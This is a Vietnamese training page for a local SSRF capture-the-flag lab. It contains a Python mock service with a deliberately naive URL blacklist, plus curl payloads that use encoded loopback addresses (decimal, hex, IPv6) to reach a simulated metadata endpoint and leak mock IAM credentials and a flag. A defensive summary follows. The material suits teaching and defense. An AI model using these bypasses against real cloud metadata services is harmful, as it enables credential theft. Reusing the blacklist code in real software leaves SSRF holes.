Mini-challenge: Khai thác SSRF leo quyền Cloud Metadata
Thử thách độc lập: Vượt qua bộ lọc IP blacklist bằng kỹ thuật mã hóa địa chỉ và trích xuất chứng thực Cloud Metadata để lấy cờ.
TL;DR: Thử thách này đặt bạn vào vai trò một chuyên gia kiểm thử bảo mật điện toán đám mây. Bạn phát hiện một tính năng xem trước liên kết (Link Preview Service) tại một ứng dụng web nội bộ. Ứng dụng triển khai cơ chế lọc URL nhằm ngăn chặn việc truy xuất địa chỉ localhost 127.0.0.1 và địa chỉ metadata 169.254.169.254. Bằng cách áp dụng các kỹ thuật biểu diễn địa chỉ IP thay thế hoặc khai thác sự bất đồng bộ của parser, nhiệm vụ của bạn là vượt qua tường lửa lọc URL, truy vấn vào dịch vụ Cloud Metadata giả lập và trích xuất thành công cờ bí mật được bảo vệ trong IAM Role.
1. Tình huống thử thách & Môi trường thực nghiệm
Một cổng ứng dụng nội bộ tại http://127.0.0.1:9092 cung cấp tính năng tải ảnh xem trước từ Internet qua endpoint:
POST /api/v1/preview
Content-Type: application/x-www-form-urlencoded
url=https://example.com/logo.png
Hệ thống triển khai bộ lọc chặn các chuỗi "127.0.0.1", "localhost", "169.254.", nhưng vẫn cho phép tải dữ liệu nếu URL không chứa các từ khóa này. Đồng thời, một dịch vụ metadata nội bộ giả lập được chạy trên cổng 9093.
[!TIP] Khởi chạy Local Mock Cloud Lab: Bạn có thể tự chạy kịch bản thử thách hoàn chỉnh bằng script Python dưới đây:
Python# Lưu thành mock_ssrf_lab.py và chạy: python3 mock_ssrf_lab.py import http.server, urllib.parse, urllib.request, threading, json # 1. Simulated Cloud Metadata Service on port 9093 class MetadataHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if self.path == "/latest/meta-data/iam/security-credentials/app-role": self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() res = { "AccessKeyId": "ASIA_MOCK_CLOUD_KEY", "SecretAccessKey": "mock_secret_key_xyz", "Flag": "FLAG{SSRF_CLOUD_METADATA_PIVOT_PWNED_2026}" } self.wfile.write(json.dumps(res).encode()) else: self.send_response(404); self.end_headers() # 2. Vulnerable Link Preview Service on port 9092 class WebAppHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): if self.path == "/api/v1/preview": length = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(length).decode() data = urllib.parse.parse_qs(body) target_url = data.get("url", [""])[0] # Naive blacklist check forbidden = ["127.0.0.1", "localhost", "169.254."] for bad in forbidden: if bad in target_url: self.send_response(400); self.end_headers() self.wfile.write(b"URL bi chan boi chinh sach bao mat!") return try: # Vulnerable fetch req = urllib.request.Request(target_url, headers={"User-Agent": "PreviewBot/1.0"}) with urllib.request.urlopen(req, timeout=3) as response: content = response.read() self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() self.wfile.write(content) except Exception as e: self.send_response(500); self.end_headers() self.wfile.write(str(e).encode()) else: self.send_response(404); self.end_headers() threading.Thread(target=lambda: http.server.HTTPServer(("127.0.0.1", 9093), MetadataHandler).serve_forever(), daemon=True).start() http.server.HTTPServer(("127.0.0.1", 9092), WebAppHandler).serve_forever()
2. Các bước khai thác vượt qua bộ lọc SSRF
Mục tiêu của bạn là gửi một URL tới http://127.0.0.1:9092/api/v1/preview để ép nó kết nối tới http://127.0.0.1:9093/latest/meta-data/iam/security-credentials/app-role.
Bước 1: Thử nghiệm với URL thông thường (Bị chặn)
Gửi request thăm dò:
curl -X POST http://127.0.0.1:9092/api/v1/preview \
-d "url=http://127.0.0.1:9093/latest/meta-data/iam/security-credentials/app-role"
Kết quả: URL bi chan boi chinh sach bao mat!. Hệ thống phát hiện chuỗi "127.0.0.1".
Bước 2: Áp dụng kỹ thuật mã hóa địa chỉ IP thay thế
Bạn có thể sử dụng nhiều cách biểu diễn loopback khác nhau mà không chứa chuỗi "127.0.0.1" hay "localhost":
- Sử dụng số 0 đơn lẻ:
http://0:9093/latest/meta-data/iam/security-credentials/app-role - Sử dụng hệ Hexadecimal:
http://0x7f.0.0.1:9093/latest/meta-data/iam/security-credentials/app-role - Sử dụng hệ Dword (Số nguyên 32-bit):
http://2130706433:9093/latest/meta-data/iam/security-credentials/app-role - Sử dụng địa chỉ IPv6 loopback:
http://[::1]:9093/latest/meta-data/iam/security-credentials/app-role
Bước 3: Gửi payload khai thác và thu hoạch Cờ
Gửi payload sử dụng địa chỉ Dword hoặc Hex:
curl -X POST http://127.0.0.1:9092/api/v1/preview \
--data-urlencode "url=http://2130706433:9093/latest/meta-data/iam/security-credentials/app-role"
Máy chủ backend kiểm tra chuỗi 2130706433, không thấy chứa "127.0.0.1" hay "localhost" nên phê duyệt yêu cầu. Thư viện mạng của hệ điều hành tự động dịch 2130706433 thành 127.0.0.1 và kết nối tới dịch vụ metadata ở cổng 9093.
Phản hồi trả về cờ bí mật:
{
"AccessKeyId": "ASIA_MOCK_CLOUD_KEY",
"SecretAccessKey": "mock_secret_key_xyz",
"Flag": "FLAG{SSRF_CLOUD_METADATA_PIVOT_PWNED_2026}"
}
3. Tổng kết kiến trúc phòng vệ
Sau bài lab thực hành, hãy ghi nhớ ba giải pháp cốt lõi để loại bỏ hoàn toàn nguy cơ SSRF:
- Phân giải IP trước khi kiểm tra: Không bao giờ lọc trên chuỗi domain thô; luôn chuyển đổi tên miền về địa chỉ IP chuẩn qua
socket.gethostbyname(). - Kiểm tra dải mạng Private/Link-local: Sử dụng thư viện
ipaddresscủa ngôn ngữ để từ chối các kết nối vào mạng nội bộ (is_private,is_loopback,is_link_local). - Ghim địa chỉ IP kết nối (DNS Pinning): Kết nối trực tiếp vào địa chỉ IP đã thẩm định, ngăn chặn hoàn toàn lỗ hổng TOCTOU và kỹ thuật DNS Rebinding.
Bài tiếp theo: Tổng kết module SSRF & Cloud Pivoting
Bài này có giúp bạn hiểu bản chất không?
Bài này đáng gửi cho bạn học cùng?
Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.
Lỗ hổng REST API: Khai thác BOLA và Mass Assignment
Bài tiếpTổng kết module SSRF & Cloud Pivoting
Thảo luận & góp ý
Hỏi đáp về bài này